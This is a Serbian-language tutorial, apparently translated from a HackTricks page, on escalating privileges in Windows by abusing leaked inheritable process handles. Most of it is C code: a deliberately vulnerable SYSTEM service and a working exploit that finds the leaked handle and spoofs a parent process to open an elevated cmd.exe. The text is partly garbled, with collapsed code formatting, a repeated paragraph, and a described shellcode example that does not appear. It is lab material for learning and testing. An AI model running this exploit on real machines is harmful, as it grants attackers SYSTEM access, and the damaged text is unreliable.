Handle-i u procesu omogućavaju pristup različitim Windows resursima:
RootedCON2022 - Exploiting Leaked Handles for LPE
Već je bilo nekoliko slučajeva eskalacije privilegija gde je privilegovan proces sa otvorenim i nasledivim handle-imapokrenuoneprivilegovan proces dajući mu pristup svim tim handle-ima.
Na primer, zamislite da proces koji se izvršava kao SYSTEM otvara novi proces (OpenProcess()) sa potpunim pristupom. Taj isti proces takođe kreira novi proces (CreateProcess()) sa niskim privilegijama, ali nasledjuje sve otvorene handle-e glavnog procesa.
Zatim, ako imate potpun pristup procesu sa niskim privilegijama, možete uzeti otvoreni handle privilegovanog procesa kreiranog sa OpenProcess() i ubaciti shellcode.
Interesting Handles
Process
Kao što ste pročitali u inicijalnom primeru, ako neprivilegovan proces nasledjuje handle procesaprivilegovanog procesa sa dovoljno dozvola, moći će da izvrši arbitrarni kod na njemu.
U ovom odličnom članku možete videti kako da iskoristite bilo koji handle procesa koji ima neku od sledećih dozvola:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Slično handle-ima procesa, ako neprivilegovan proces nasledjuje handle nitiprivilegovanog procesa sa dovoljno dozvola, moći će da izvrši arbitrarni kod na njemu.
U ovom odličnom članku možete takođe videti kako da iskoristite bilo koji handle procesa koji ima neku od sledećih dozvola:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
File, Key & Section Handles
Ako neprivilegovan proces nasledjujehandle sa pisanim ekvivalentnim dozvolama nad privilegovanom datotekom ili registrijem, moći će da prepiše datoteku/registri (i sa puno sreće, eskalira privilegije).
Section Handles su slični handle-ima datoteka, uobičajeni naziv za ovu vrstu objekata je "File Mapping". Koriste se za rad sa velikim datotekama bez čuvanja cele datoteke u memoriji. To čini eksploataciju "sličnom" eksploataciji handle-a datoteke.
How to see handles of processes
Process Hacker
Process Hacker je alat koji možete preuzeti besplatno. Ima nekoliko neverovatnih opcija za inspekciju procesa, a jedna od njih je mogućnost da vidite handle-e svakog procesa.
Napomena: da biste videli sve handle-e svih procesa, potrebna je SeDebugPrivilege (tako da morate pokrenuti Process Hacker kao administrator).
Da biste videli handle-e procesa, desni klik na proces i izaberite Handles:
Zatim možete desnim klikom na handle proveriti dozvole:
Sysinternals Handles
Handlesbinarni fajl iz Sysinternals takođe će prikazati handle-e po procesu u konzoli:
LeakedHandlesFinder
Ovaj alat vam omogućava da pratite provaljene handle-e i čak automatski ih eksploatišete za eskalaciju privilegija.
Methodology
Sada kada znate kako da pronađete handle-e procesa, ono što treba da proverite je da li neki neprivilegovan proces ima pristup privilegovanim handle-ima. U tom slučaju, korisnik procesa bi mogao da dobije handle i zloupotrebi ga za eskalaciju privilegija.
Prethodno je pomenuto da vam je potrebna SeDebugPrivilege da biste pristupili svim handle-ima. Ali korisnik i dalje može pristupiti handle-ima svojih procesa, tako da može biti korisno ako želite da privesc samo od tog korisnika da izvršite alate sa redovnim dozvolama korisnika.
Na primer, sledeći kod pripada Windows servisu koji bi mogao biti ranjiv. Ranjivi kod ovog servisnog binarnog fajla se nalazi unutar Exploit funkcije. Ova funkcija počinje kreiranjem novog handle procesa sa punim pristupom. Zatim, kreira proces sa niskim privilegijama (kopirajući token niskih privilegija explorer.exe) koji izvršava C:\users\username\desktop\client.exe. Ranjivost leži u činjenici da kreira proces sa niskim privilegijama sa bInheritHandles postavljenim na TRUE.
Stoga, ovaj proces sa niskim privilegijama može da preuzme handle procesa sa visokim privilegijama koji je prvobitno kreiran i da injektuje i izvrši shellcode (vidi sledeću sekciju).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Example 1
U pravom scenariju verovatno nećete moći da kontrolišete binarni fajl koji će biti izvršen od strane ranjivog koda (C:\users\username\desktop\client.exe u ovom slučaju). Verovatno ćete kompromitovati proces i moraćete da proverite da li možete da pristupite bilo kojem ranjivom handle-u bilo kog privilegovanog procesa.
U ovom primeru možete pronaći kod mogućeg exploit-a za C:\users\username\desktop\client.exe.
Najzanimljiviji deo ovog koda se nalazi u GetVulnProcHandle. Ova funkcija će početi da prikuplja sve handle-ove, zatim će proveriti da li neki od njih pripada istom PID-u i da li handle pripada procesu. Ako su svi ovi zahtevi ispunjeni (pronađen je pristupačan otvoren handle procesa), pokušava da injektuje i izvrši shellcode koristeći handle procesa.
Injekcija shellcode-a se vrši unutar Inject funkcije i samo će napisati shellcode unutar privilegovanog procesa i kreirati nit unutar istog procesa da izvrši shellcode.
U stvarnom scenariju verovatno nećete moći da kontrolišete binarni fajl koji će biti izvršen od strane ranjivog koda (C:\users\username\desktop\client.exe u ovom slučaju). Verovatno ćete kompromitovati proces i moraćete da proverite da li možete da pristupite bilo kojem ranjivom handle-u bilo kog privilegovanog procesa.
U ovom primeru, umesto da zloupotrebljavate otvoreni handle za injekciju i izvršavanje shellcode-a, koristiće se token privilegovanog otvorenog handle procesa za kreiranje novog. To se radi u redovima od 138 do 148.
Obratite pažnju na to kako se funkcija UpdateProcThreadAttribute koristi sa atributom PROC_THREAD_ATTRIBUTE_PARENT_PROCESS i handle-om do otvorenog privilegovanog procesa. To znači da će niti procesa koji se izvršava _cmd.exe_** imati iste privilegije tokena kao otvoreni handle proces**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Ovaj alat vam omogućava da pratite provale handle-a kako biste pronašli ranjive i čak ih automatski iskoristili. Takođe ima alat za provaljivanje jednog.